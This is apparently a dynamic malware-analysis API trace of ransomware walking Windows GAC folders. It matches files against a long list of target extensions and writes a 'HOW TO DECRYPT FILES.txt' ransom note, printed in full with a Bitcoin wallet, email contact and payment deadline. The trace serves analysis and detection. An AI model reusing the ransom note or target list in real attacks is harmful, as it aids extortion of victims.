(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.eml") returned 0 [0099.523] lstrlenA (lpString="*.eml") returned 5 [0099.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.msg") returned 0 [0099.523] lstrlenA (lpString="*.msg") returned 5 [0099.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.edb") returned 0 [0099.524] lstrlenA (lpString="*.edb") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.accdb") returned 0 [0099.552] lstrlenA (lpString="*.accdb") returned 7 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.odb") returned 0 [0099.552] lstrlenA (lpString="*.odb") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.java") returned 0 [0099.552] lstrlenA (lpString="*.java") returned 6 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.asm") returned 0 [0099.552] lstrlenA (lpString="*.asm") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.pfx") returned 0 [0099.552] lstrlenA (lpString="*.pfx") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.pem") returned 0 [0099.552] lstrlenA (lpString="*.pem") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.p12") returned 0 [0099.552] lstrlenA (lpString="*.p12") returned 5 [0099.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.gpg") returned 0 [0099.552] lstrlenA (lpString="*.gpg") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.vsd") returned 0 [0099.553] lstrlenA (lpString="*.vsd") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.odg") returned 0 [0099.553] lstrlenA (lpString="*.odg") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.raw") returned 0 [0099.553] lstrlenA (lpString="*.raw") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.nef") returned 0 [0099.553] lstrlenA (lpString="*.nef") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.svg") returned 0 [0099.553] lstrlenA (lpString="*.svg") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.psd") returned 0 [0099.553] lstrlenA (lpString="*.psd") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.vmx") returned 0 [0099.553] lstrlenA (lpString="*.vmx") returned 5 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.vmdk") returned 0 [0099.553] lstrlenA (lpString="*.vmdk") returned 6 [0099.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.vdi") returned 0 [0099.553] lstrlenA (lpString="*.vdi") returned 5 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.lay6") returned 0 [0099.554] lstrlenA (lpString="*.lay6") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mpeg") returned 0 [0099.554] lstrlenA (lpString="*.mpeg") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.djvu") returned 0 [0099.554] lstrlenA (lpString="*.djvu") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.tiff") returned 0 [0099.554] lstrlenA (lpString="*.tiff") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.backup") returned 0 [0099.554] lstrlenA (lpString="*.backup") returned 8 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.pdf") returned 0 [0099.554] lstrlenA (lpString="*.pdf") returned 5 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.cert") returned 0 [0099.554] lstrlenA (lpString="*.cert") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.docm") returned 0 [0099.554] lstrlenA (lpString="*.docm") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.xlsm") returned 0 [0099.554] lstrlenA (lpString="*.xlsm") returned 6 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.dwg") returned 0 [0099.554] lstrlenA (lpString="*.dwg") returned 5 [0099.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.nd") returned 0 [0099.555] lstrlenA (lpString="*.nd") returned 4 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.tlg") returned 0 [0099.555] lstrlenA (lpString="*.tlg") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.lgb") returned 0 [0099.555] lstrlenA (lpString="*.lgb") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mov") returned 0 [0099.555] lstrlenA (lpString="*.mov") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.xdw") returned 0 [0099.555] lstrlenA (lpString="*.xdw") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.ods") returned 0 [0099.555] lstrlenA (lpString="*.ods") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.wav") returned 0 [0099.555] lstrlenA (lpString="*.wav") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.mp3") returned 0 [0099.555] lstrlenA (lpString="*.mp3") returned 5 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.aiff") returned 0 [0099.555] lstrlenA (lpString="*.aiff") returned 6 [0099.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.flac") returned 0 [0099.556] lstrlenA (lpString="*.flac") returned 6 [0099.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.m4a") returned 0 [0099.556] lstrlenA (lpString="*.m4a") returned 5 [0099.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.dll", pszSpec="*.csv") returned 0 [0099.556] lstrlenA (lpString="*.csv") returned 5 [0099.556] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb915df6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb915df6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa40d94bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.dll", cAlternateFileName="")) returned 0 [0099.556] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.556] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0099.556] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.556] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Vsa.Vb.CodeDOMProcessor", cAlternateFileName="MICROS~1.COD")) returned 1 [0099.556] lstrcmpA (lpString1=".", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor") returned -1 [0099.556] lstrcmpA (lpString1="..", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor") returned -1 [0099.556] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.557] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor" [0099.557] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor") returned 62 [0099.557] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.557] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.558] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.558] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.558] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0099.558] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.558] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.558] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\*.*") returned="*.*" [0099.558] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\", lpString2="8.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a" [0099.558] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a") returned 88 [0099.558] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.558] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.558] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.559] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb9ae372, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfb9ae372, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4209fbc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.Vb.CodeDOMProcessor.dll", cAlternateFileName="")) returned 1 [0099.559] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.559] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0099.559] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0099.559] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned -1 [0099.559] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\" [0099.559] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.559] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.559] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.vsa.vb.codedomprocessor\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.559] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.vsa.vb.codedomprocessor\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.562] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.562] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.564] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.564] CloseHandle (hObject=0x90) returned 1 [0099.564] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.Vsa.Vb.CodeDOMProcessor.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll" [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.ems") returned 0 [0099.565] lstrlenA (lpString="*.ems") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.db") returned 0 [0099.565] lstrlenA (lpString="*.db") returned 4 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.dbf") returned 0 [0099.565] lstrlenA (lpString="*.dbf") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.myox") returned 0 [0099.565] lstrlenA (lpString="*.myox") returned 6 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.myo") returned 0 [0099.565] lstrlenA (lpString="*.myo") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbw") returned 0 [0099.565] lstrlenA (lpString="*.qbw") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbb") returned 0 [0099.565] lstrlenA (lpString="*.qbb") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbm") returned 0 [0099.565] lstrlenA (lpString="*.qbm") returned 5 [0099.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbo") returned 0 [0099.566] lstrlenA (lpString="*.qbo") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbx") returned 0 [0099.566] lstrlenA (lpString="*.qbx") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qba") returned 0 [0099.566] lstrlenA (lpString="*.qba") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qby") returned 0 [0099.566] lstrlenA (lpString="*.qby") returned 5 [0099.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vsa.Vb.CodeDOMProcessor\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft.Vsa.Vb.CodeDOMProcessor.dll", pszSpec="*.qbj") returned 0 [0099.566] lstrlenA (lpString="*.qbj") returned 5 [0099.566] PathMatchSpecA 